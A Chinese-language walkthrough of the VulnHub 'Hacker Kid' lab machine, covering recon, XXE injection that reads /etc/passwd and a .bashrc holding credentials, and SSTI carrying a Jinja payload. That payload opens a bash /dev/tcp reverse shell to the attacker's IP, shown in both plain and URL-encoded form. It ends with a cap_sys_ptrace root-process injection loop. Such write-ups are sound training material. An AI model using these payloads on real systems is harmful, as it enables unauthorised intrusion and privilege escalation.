前期准备:
靶机地址:https://www.vulnhub.com/entry/hacker-kid-101,719/
kali攻击机ip:192.168.11.129
靶机ip:192.168.11.208
一、信息收集与利用
1、使用nmap对目标靶机进行扫描
发现开放了DNS的 53 端口,http的 80 和 9999 端口。
2. 80端口
他说要更多的挖掘,看一下源代码:
有提示,说用 get 参数 page_no 去查看页面,做一下模糊测试,这里的页面大概是数字的那就用 burpsuite 扫一下:
又发现,访问一下:
提示说有一些子域。并且还给了一个子域 hackers.blackhat.local,把这个域名加入 hosts 文件,再访问:
和之前的一样,再用 dig 工具挖掘一下:
发现一个新的域名:hackerkid.blackhat.local,加到 hosts 文件中访问一下:
是个表单,看一下源代码:
发现提交的表单信息是 XML 文件格式的,可以试试 [XXE](https : //github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection "XXE") 注入,抓包注入一下试试:
注入成功,电子邮件被替换为 /etc/passwd 文件的内容,并且看到 saket 的用户权限较高,查看他账户下有没有 .ssh,.bashrc 等文件:
.ssh 中的文件看不到,不过看到了 .bashrc 文件,base64 解码一下:
得到有个用户名和密码,username="admin",password="Saket!#$%@!!"可能在 9999 端口中会用到。
3. 9999端口
用刚才发现的用户名密码登陆一下:
登陆之后什么都没有,密码中有 saket,如果存在 saket用户,那可能 saket 用户的密码也是这个,试一下:
能登进去,他说告诉他名字,把 name 当做参数试一下:
返回 Hello 1,试一下 SSTI:
SSTI 有效,那尝试写入shell并用nc监听:
{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.11.129/1234 0>&1"')}}
访问后报错了,那就 url 编码一下
%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.11.129%2F1234%200%3E%261%22%27%29%7D%7D
二、提权
nc 连接成功,升级 shell 后简单查看一下系统内的文件后没发现什么,linpeas.sh跑一下:
检测到python具备 cap_sys_ptrace+ep 能力,可以利用这个进行提权,提权原理见:https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc 。网上就有提权脚本,下下来:
利用这个脚本的话就需要找个 root 进程进行注入,写个简单的脚本对 root 进程注入批量的尝试:
for i in `ps -ef|grep root|grep -v "grep"|awk '{print $2}'`; do python2.7 inject.py $i; done
netstat 查看一下是否开启监听了5600端口:
在监听状态,直接在 kali 上 nc 连接:
获得 root 权限。